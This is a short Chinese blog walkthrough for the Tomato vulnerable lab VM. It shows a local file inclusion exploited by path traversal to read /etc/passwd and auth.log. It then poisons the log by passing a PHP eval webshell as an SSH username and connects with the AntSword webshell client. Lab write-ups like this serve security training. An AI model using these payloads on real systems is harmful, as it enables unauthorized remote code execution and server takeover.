首页 > 其他分享 >Tomato靶机通关攻略

Tomato靶机通关攻略

时间:2024-09-04 14:50:26浏览次数:12  
标签:Tomato 传参 .. 步骤 image 攻略 靶机 页面

步骤一:进行端口扫描,找寻靶机地址

步骤二:访问靶机地址

步骤三:利用dirb进行扫描

得出:/antibot_image/进行访问

步骤四:进入antibots->info.php->右击进入页面源代码->发现存在文件包含漏洞

步骤五:页面通过image传参查看passwd文件

步骤六:页面通过image传参查看日志文件

/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log

步骤七:将一句话木马作为ssh登录的用户名登录

ssh '<?php phpinfo();eval($_POST["cmd"]);?>'@172.16.1.113 -p 2211

密码随便输,输三次

步骤八:蚁剑连接

标签:Tomato,传参,..,步骤,image,攻略,靶机,页面
From: https://blog.csdn.net/2301_82061181/article/details/141891617

相关文章

  • 【运营攻略】数据分析中DAU数据模型
    本章内容可能对于老运营来说是比较常规的内容,但也有些人可能不太了解其具体逻辑。进入正题,作为运营,通常会非常重视新用户的研究,因此游戏设计中引入了“留存(retention)”这一概念。关于这个概念,网上和笔者文章中都有非常丰富的信息。但今天的重点在于另一个方向,关注相同的目标群......
  • 宁德新能源ATL2025届校园招聘Verify笔试/测评通关攻略题库考什么
    宁德新能源测评内容包含演绎推理+数字推理两部分,大约用时40分钟左右;a.b.正式测评后即开始计时,演绎+数字每项测评时限为18分钟(10道题):请充分完成练习题熟悉题型后再进入正式测评环节,测评练习无时间限制。         ......
  • hackme通关攻略
    1、使用namp扫描C段,寻找目标网址2、打开网址,注册一个用户,登录查看,点击search,发现有很多书 3、尝试sql注入,判断闭合输入'报错,#闭合成功,共有三列4、查看数据库名,数据表名,字段名,表中内容   5、发现登陆账户和密码,使用md5解密,然后使用superadmin用户登录6、登......
  • pikachu文件包含漏洞靶场攻略
    1.Fileinclusion(local)(本地文件包含)步骤一:选择一个球员提交步骤二:filename后面输入../../../../shw.php访问php文件2.FileInclusion(remote)(远程文件包含)步骤一:修改配置远程包含漏洞的前提:需要php.ini配置如下:allow_url_fopen=on//默认打开Allow_url_include=on/......
  • hackme靶机通关攻略
    1.登陆靶场网站首页2.注册登录3.单机search,有很多书4.搜索一本书抓包发放到重放器5.数据改为1*,复制数据包到1.txt,发到kali里面6.sqlmap查看当前数据库sqlmap-r'/home/kali/Desktop/1.txt' --current-db--batch7.查看表名sqlmap-r'/home/kali/Desktop/1.t......
  • 游戏启动失败?解决0xc000007b错误全攻略
    许多玩家在尝试运行某些游戏时可能会遇到一个常见的错误代码“0xc000007b”,这个错误通常表示系统缺少必要的DLL文件或存在版本不兼容的问题。本文将详细介绍这一错误的原因及解决方法,帮助玩家顺利进入游戏世界。错误0xc000007b的原因系统架构不匹配:游戏要求的系统架构(如32位......
  • 基于uniapp+SpringBoot的旅游攻略分享互动系统o4pb3 微信小程序
    目录博主介绍技术栈......
  • 极速掌握MinIO对象存储:从零部署到实战操作全攻略
    文章目录介绍安装部署安装服务器开放服务使用端口挂载磁盘安装MinIO创建目录下载安装文件设置执行权限目录结构如下所有节点都需要执行上述步骤编写启动脚本使用Console使用JavaApi调用获取永久链接可能报的错误错误1:ispartofrootdrive,willnotbeused错误2:Therequestsig......
  • 这份 Stable diffusion 提示词攻略,记得收好了!
    大家好,今天给大家分享的是关于Stablediffusion提示词的基础和进阶语法,为什么有必要了解这个呢?首先是提示词对出图效果影响很大,了解提示词的用法有助于我们写出更优秀的提示词;其次就是我们可能会去C站拷贝别人的提示词,虽然直接拷贝过来也能得到不错的效果,但这样只会“知其......
  • 《黑神话:悟空》硬件兼容性问题全攻略:从BIOS更新到驱动安装的详细修复指南
    《黑神话:悟空》作为一款备受期待的国产3A大作,自发布以来,确实遇到了一些玩家的电脑硬件兼容性问题。今天小编搜罗了网上反馈一些经常出现的BUG,来教大家如何进行修复操作!更新主板BIOS:对于13/14代酷睿处理器用户,首先尝试更新主板BIOS至最新版本,确保微代码版本为0x129。如果更新......